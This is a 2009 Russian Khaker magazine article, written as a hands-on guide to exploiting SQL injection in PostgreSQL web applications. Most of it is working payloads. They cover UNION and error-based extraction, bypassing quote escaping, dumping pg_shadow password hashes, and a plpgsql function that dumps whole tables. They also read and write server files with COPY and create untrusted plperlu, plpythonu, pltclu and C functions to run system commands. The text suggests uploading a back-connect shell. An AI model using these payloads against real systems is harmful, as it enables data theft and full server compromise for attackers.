Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 130, ОКТЯБРЬ 2009 г.

Укол слону. Руководство по реализации SQL-Injection в PostgreSQL

Spyder (spyder@antichat.net)

Говоря о базах данных, человек, работающий в Вебе, скорее всего вспомнит MySQL, а программист, создающий БД для крупных торговых компаний, – Oracle. Тем не менее, PostgreSQL сейчас одна из самых мощных реляционных СУБД наряду с Oracle и Sybase и, стоит заметить, бесплатная. Все больше крупных интернет-порталов строятся именно на ней. Ты узнаешь, как реализуются инъекции в этой СУБД, а также результаты небольшого сравнения с MySQL. Поехали!

Union, все гениальное - просто

Итак, сразу к делу. Рассмотрим инъекцию вида

SELECT id,title,text,is_enable FROM news WHERE id=$id;

Если мы не знаем количество столбцов, то подбираем так же, как и в MySQL:

id=1 ORDER BY 1
id=1 ORDER BY 99

– либо, если у нас есть вывод ошибок, следующим образом:

id=1 ORDER BY 1,2,3,4,5,...,99

В результате увидим ошибку:

Query failed: ERROR: ORDER BY position 5 is not in select list

Отнимаем от этого числа единицу и получаем количество столбцов в запросе. В нашем случае это будет 4. Составляем еще один запрос:

id=-1 UNION SELECT null,null,null,null

Важное отличие MySQL от большинства других СУБД – в том, что она игнорирует конфликт в типах колонок при UNION. В нашем случае поля имеют тип:

id (int)
title (text)
text (text)
is_enable (boolean)

Попытка составить, например, такой запрос:

id=-1 UNION SELECT null,null,null,123

привела бы к следующей ошибке –

Query failed: ERROR: UNION types boolean and integer cannot be matched

Как правило, нам требуется вывод в столбцах типа text или char.

Узнаем о себе

Прежде всего, узнаем, кто мы такие (т.е. свои права и обязанности), выполнив запрос:

id=-1 UNION SELECT null,null,сurrent_user,null

А также получим полное инфо о сервере:

id=-1 UNION SELECT null,null,current_database()||':'||version(),null

Здесь стоит разобрать запрос по частям. Во-первых, в нем используются специфические функции.

  • current_database() - выводит название текущей базы данных
  • version() - аналогично с MySQL, выводит версию PostgreSQL

Во-вторых, для объединения используются символы пайпов «||», аналог функции concat() в MySQL. И, в-третьих, разделителем выступает символ двоеточия «:», обрамленный кавычками.Запрос возвратит результат:

sitedb:PostgreSQL 8.3.7 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20071124 (Red Hat 4.1.2-42)

Рассмотрим случай, когда уязвимое приложение написано на PHP, и в скрипте используется функция addslashes(), либо в файле php.ini включена директива magic_quotes_gpc.

1. chr()

Функция chr() получает один числовой аргумент «n» типа integer и возвращает символ с ASCII-кодом, равным «n». Узнаем чар-код символа «:» и составляем запрос:

id=-1 UNION SELECT null,null,current_database()||chr(58)||version(),null

Это не очень удобно, так как иногда в кавычки нужно обрамлять довольно длинную строку. Тут существует более удобный способ, описанный ниже.

2. $text$

Два знака доллара говорят PostgreSQL о том, что далее в запросе следует строка. Иэто самый лучший способ обхода экранирования кавычек. Наш запрос будет выглядеть так:

id=-1 UNION SELECT null,null,current_database()||$text$:$text$||version(),null

По правде говоря, слово text между знаками доллара можно опустить :).

id=-1 UNION SELECT null,null,current_database()||$$:$$||version(),null

Системная информация

Как и в других СУБД, в PosgreSQL существуют стандартные системные таблицы. К некоторым имеют доступ все, а к некоторым только супер-юзер.

1. pg_user

Таблица, доступная всем пользователям. Польза хакеру от нее небольшая, но все же она есть. Интересные поля:

  • usename - Имя пользователя (тип name)
  • usesysid - ID пользователя (тип int)
  • usecreatedb - Может ли пользователь создавать базы данных (тип boolean)
  • usecatupd - Может ли пользователь вносить изменения в системные таблицы (тип boolean)
  • usesuper - Имеет ли пользователь привилегии superuser (тип boolean)

Чтобы узнать больше информации о нашем пользователе, составляем такой запрос:

id=-1 UNION SELECT null,null,usename||':'||cast(usesysid+as+text)||':'||cast(usecreatedb+as+text)||':'||cast(usecatupd+as+text)||':'||cast(usesuper+as+text),null FROM pg_user WHERE usename=current_user

В итоге, получим результат вида

admin:16385:true:true:true

В предыдущем запросе была использована функция cast(), она, так же, как и в MySQL, преобразует типы данных. В нашем случае происходит преобразование int->text и boolean->text.

2. pg_shadow

Ты сейчас, скорее всего, вспомнил файл /etc/shadow, в котором находятся пароли пользователей в большинстве *nix-систем. И не зря! Таблица pg_shadow, в отличие от pg_user, хранит в себе еще и пароли пользователей. Попробуем узнать пароль:

id=-1 UNION SELECT null,null,usename||':'||passwd,null FROM pg_shadow WHERE usename=current_user

admin:md5db55162d9e34e895d45a084f15726371

К сожалению, доступ к таблице pg_shadow есть только у юзера с правами usesuper.

3. pg_language

Это таблица, в которой содержится информация об установленных процедурных языках. Подробнее – чуть позже, а пока приведу ее неполную структуру:

  • lanname - Название языка (тип name)
  • lanispl - Является ли язык процедурным, всегда false для языка sql (тип boolean)
  • lanpltrusted - Является ли процедурный язык безопасным (тип boolean)

Встречайте... Information_schema!

Радоваться или плакать, но в PostgreSQL существует полюбившаяся нам в MySQL > 5.0 база information_schema, содержащая в себе информацию обо всех таблицах и колонках, доступных текущему пользователю. Структура ее практически идентична.
Узнаем интересующую нас таблицу:

id=-1 UNION SELECT null,null,table_name,null FROM information_schema.tables LIMIT 1 OFFSET 0

Стоит заметить, что оператор limit имеет в PostgreSQL другой вид и состоит из двух частей:

  • LIMIT - число записей, которое будет выведено из БД.
  • OFFSET - номер записи, начиная с которой будет происходить вывод (0 - начало отсчета).

Итак, мы нашли имя таблицы, – пусть это будет users. Узнаем имена полей запросом:

id=-1 UNION SELECT null,null,column_name,null FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0

Ну а дальше выводим, так же, как и в MySQL (только не забывай про типы и limit offset).

Разделяй и властвуй

До этого момента мы рассматривали классическую инъекцию с использованием оператора UNION. Сейчас я покажу тебе более интересные способы.

Большинство из ниже описанного будет работать, если у текущего пользователя есть права usesuper. Замечу, что такое тут встречается намного чаще, чем в MySQL. Один из главных плюсов инъекции в PostgreSQL - возможность разделений запросов символов точки с запятой ';'.В нашем примере это будет выглядеть так:

id=10;SELECT 123

Минус такого способа – мы не видим вывода второго запроса, но и это нам не помеха. А поможет нам здесь знакомое преобразование типов. Попробуем преобразовать тип text в тип boolean и посмотрим, что из этого выйдет:

id=10;SELECT CAST(version() AS boolean)

В результате запрос вернет ошибку:

Query failed: ERROR: invalid input syntax for type boolean: "PostgreSQL 8.3.7 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20071124 (Red Hat 4.1.2-42)"

Однако этот способ не будет работать, если поле имеет тип name. К примеру, такой запрос:

id=10;SELECT+CAST(usename AS boolean) FROM pg_user

возвратит ошибку –

ERROR: cannot cast type name to boolean

Но и это нам не помеха. Мы знаем, что ошибку выдает преобразование типа text в тип boolean. А что нам мешает сделать двойное преобразование?

id=10;SELECT CAST(CAST(usename AS text) AS boolean) from pg_user

Первой функцией мы переводим name в text, а второй text в boolean. В результате получаем ошибку:

Query failed: ERROR: invalid input syntax for type boolean: "admin"

При использовании этого способа есть одна особенность. Мы не можем выводить интересующую нас запись, используя limit offset. Для этого нам потребуется составить конструкцию where columnname not in (). Предположим, что предыдущий запрос вернул запись admin. Тогда составим такой:

id=10;SELECT CAST(CAST(usename AS text) AS boolean) FROM pg_user WHERE usename NOT IN ('admin')

Таким образом, мы можем перебрать все содержимое таблицы. Тестируя этот метод на различных сайтах, я столкнулся с проблемой, которую можно объяснить различием в версиях. Заключается она в преобразовании типа boolean в любой другой тип. В официальной документации сказано:

Values of the boolean type cannot be cast directly to other types (e.g., CAST (boolval AS integer) does not work)

Несмотря на это, у половины тестируемых сайтов, запрос вида:

id=10;SELECT CAST(usesuper AS text) FROM pg_user

не приводил к ошибке и возвращал вполне определенное значение.С другой стороны, является ли это большим минусом? Скорее всего, нет. Так как большинство потенциально интересных полей имеют тип name,text,char, который благополучно приводится к другим типам и вызывает нужную нам ошибку. Плюсы же способа очевидны. Мы не используем union, нам не нужно подбирать количество колонок, а также искать правильный ее тип. Способ будет работать с любой слепой инъекцией.

Сложную конструкцию функций cast() можно заменить на более простую, с помощью двух двоеточий '::'. Следующий запрос вернет нам название базы данных и имя таблицы:

id=10;SELECT (table_schema||':::'||table_name)::text::boolean FROM information_schema.tables

Многострочные запросы

Иногда SQL-запрос может состоять из нескольких строк. Пример:

SELECT id,title,text
FROM news
WHERE id=$id
AND is_enable=TRUE

В этом случае использование символов «--» нам не поможет, так как закомментируется только текущая строка. Чтобы реализовать SQL-Injection, нужно составить синтаксически правильный запрос. В данном случае он будет выглядеть так:

Id=10;SELECT version()::int;SELECT id FROM news WHERE 1=1

Если мы не знаем имя таблицы, из которой извлекаются данные, можно составить универсальный запрос для любого случая:

Id=10;SELECT version()::int;SELECT 1 FROM pg_user WHERE 1=1 or 2=2

Все прелести usesuper

А теперь рассмотрим случай, когда запрос

SELECT usesuper FROM pg_user WHERE usename=current_user

возвращает значение true. Здесь у нас необъятное поле для действий, начиная с вывода всей информации из таблицы и заканчивая выполнением системных команд на сервере. Сейчас ты поймешь, что PostgreSQL не только мощная, но и в неумелых руках очень опасная штука.

Limit? No Limit

Зачем использовать limit или not in (), когда мы можем вывести сразу все записи. Для этого нам нужно, чтобы был включен язык plpgsql, либо, если имеем права usesuper, создадим его самостоятельно:

id=10;CREATE LANGUAGE 'plpgsql'

А вот и сама функция:

id=10;CREATE OR REPLACE FUNCTION getall (text,text,text,text,text,text) RETURNS text AS $func$
DECLARE
schema ALIAS FOR $1;
table ALIAS FOR $2;
column1 ALIAS FOR $3;
column2 ALIAS FOR $4;
column3ALIAS FOR $5;
column4ALIAS FOR $6;
count int;
i int;
temptext;
int_test text;
input_refc refcursor;
BEGIN
int_test := '';
OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);
FETCH input_refc into count;
CLOSE input_refc;
count := count - 1;
BEGIN
FOR i in 0..count LOOP
OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||chr(58)||$qr$ || quote_ident(column4) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i;
FETCH input_refc into temp;
CLOSE input_refc;
int_test := int_test || temp;
END LOOP;
RETURN int_test;
END;
END;
$func$ LANGUAGE plpgsql;

Функция получает 6 параметров, имя БД, название таблицы и 4 колонки. Пример использования:

id=10;SELECT getall('pg_catalog','pg_user','usename',’usesysid’,’usesuper’,’passwd’)::int

А вот и результат:

hacker:16384:false:********
nobody:16385:true:********
park:16386:true:********
postgres:10:true:********
reader:16387:false:********
sa:16388:true:********

Читаем файлы

Чтобы прочитать файл, нам нужно выполнить несколько действий. Для начала создадим таблицу с одним полем типа text:

id=10;CREATE TABLE filetbl(file text)

После этого занесем содержимое файла /etc/hosts в таблицу:

id=10;COPY filetbl FROM '/etc/hosts'

– и прочитаем его уже известным нам способом.

id=10;SELECT file::boolean FROM filetbl

Каждая новая строка файла записывается в новое поле таблицы. Предыдущий запрос выведет лишь первую строку. Для вывода всего файла построчно используй либо where file not in(), либо, если ты используешь конструкцию UNION - limit 1 offset n.

Создаем файлы

Имея права суперюзера, мы можем создать произвольный файл на сервере. Для этого выполняем запрос:

id=10;COPY (SELECT 'I like it') TO '/tmp/pgtest.txt'

И видим результат:

-rw-r--r--1 postgrespostgres10 Aug 31 19:14 pgtest.txt

К счастью для нас, PostgreSQL создает файл с правами чтения для всех, что позволяет, при наличии локального инклуда, записать код в файл и выполнить его. Помимо этого, существуют стандартные функции администрирования сервера:

  • pg_read_file – Чтение файла
  • pg_ls_dir – Листинг директории

Однако реальной пользы от этих функций мало, так как они работают только в директории, указанной в $PGDATA, и выйти из нее не получится.

Query failed: ERROR: absolute path not allowed
Query failed: ERROR: reference to parent directory ("..") not allowed

Выполнение произвольного кода

PostgreSQL является очень мощной базой данных с поддержкой многих процедурных языков. В стандартный дистрибутив сейчас входят следующие:

  • C - он же pure c, знакомый нам язык
  • plperl - процедурный язык Perl
  • plpython - Python
  • pltcl - TCL

Помимо стандартных языков, имеются сторонние реализации, такие как plPHP, plRuby и plJava. Имея права usesuper, мы можем создать функцию на любом из этих языков. Прежде, чем начать, вернемся к таблице pg_language. Для этого выполним запрос:

id=10;SELECT (lanname,lanispl,lanpltrusted)::text::boolean FROM pg_language WHERE lanname='plperl'

Здесь мы не используем объединение строк с помощью пайпов, а просто вводим имена колонок через запятую, в результате видим ошибку:

Query failed: ERROR: invalid input syntax for type boolean: "(plperl,t,t)"

Теперь мы знаем, что язык plperl является процедурным, а также безопасным. Что же в нем безопасного, спросишь ты. А я тебе покажу на примере. Попробуем создать простенькую функцию, которая будет принимать один параметр типа text и выводить символы в обратном порядке. Такой запрос будет иметь вид:

id=10;CREATE OR REPLACE FUNCTION ret (text) RETURNS text AS 'return revers($_)' LANGUAGE 'plperl'

Теперь опробуем ее на деле:

id=10;SELECT ret('hello')::boolean

В ошибке видим следующее:

Query failed: ERROR: invalid input syntax for type boolean: "olleh"

Следовательно, все работает, как надо. Но нам этого мало, нужно получить выполнение системных команд. Вот именно здесь и играет свою роль lanpltrusted. Попытки создать функцию с использованием system(), print `` и open() с пайпами возвращают соответствующие ошибки:

Query failed: ERROR: creation of Perl function "ret" failed: 'system' trapped by operation mask
Query failed: ERROR: creation of Perl function "ret" failed: 'quoted execution (``, qx)' trapped by operation mask
Query failed: ERROR: creation of Perl function "ret" failed: 'open' trapped by operation mask

Постгрес не дает нам создать потенциально опасные функции, но и это можно обойти. Для начала создадим новый язык по шаблону языка Perl. Список шаблонов находится в таблице pg_pltemplate. Чтобы создать новый язык, пишем:

id=10;CREATE LANGUAGE 'plperlu'

В таблице pg_language появится новый язык plperlu, но поле lanpltrusted уже будет false, символ «u» как раз и означает не доверенный (Untrusted). Теперь нам остается создать функцию, которая будет выполнять системную команду на сервере и выводить ее результат:

id=10;CREATE OR REPLACE FUNCTION sys (text) RETURNS text AS 'open(FL, "$_ |");print join("",<FL>)' LANGUAGE 'plperlu'

Выполняем:

id=10;SELECT sys('id')::boolean

В ответ получаем:

Query failed: ERROR: invalid input syntax for type boolean: "uid=26(postgres) gid=26(postgres) groups=26(postgres)

А дальше уже – кто на что горазд. Можно поискать папки на запись, можно сразу залить на сервер бекконект, – в таком случае у нас будут права postgres. Также приведу примеры системных функций на других языках:

Python:
id=10;CREATE OR REPLACE FUNCTION sys (text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE 'plpythonu'

TCL
id=10;CREATE OR REPLACE FUNCTION sys (text) RETURNS text AS 'exec $1' LANGUAGE 'pltclu'

C
id=10;CREATE OR REPLACE FUNCTION sys (cstring) RETURNS text AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

dblink() и trust аутентификация

В завершение моей статьи хочу рассказать тебе о редко встречающейся, но крайне полезной функции под названием dblink(). Создана она была для подключения к другой базе данных непосредственно в самом SQL-запросе. Ее использование выглядит так:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
password=somepass
dbname=somedb',
'SELECT column FROM sometable')
RETURNS (result TEXT);

А теперь я расскажу, что же такое локальная трастовая аутентификация. По умолчанию PostgreSQL позволяет локально подключаться любому пользователю даже без пароля. Что это нам дает? При наличии dblink() мы можем выполнять запросы непосредственно от имени супер пользователя. Вот пример подобного запроса:

id=10;SELECT * FROM dblink('host=127.0.0.1 user=postgres db=somedb','SELECT passwd from pg_shadow') RETURNS (result text)

Ну а что делать, когда имеешь права суперюзера, ты уже знаешь.

Outro

В статье я попытался раскрыть наиболее важные аспекты проведения инъекций в PostgreSQL, затронув их ключевые особенности. Всю документацию ты можешь получить на официальном сайте postgresql.org, либо... пиши мне на e-mail :).

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

DVD

На диске ты сможешь найти видео, демонстрирующее проведение инъекции, от определения принтабельного полядо получения шелла на сервере.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001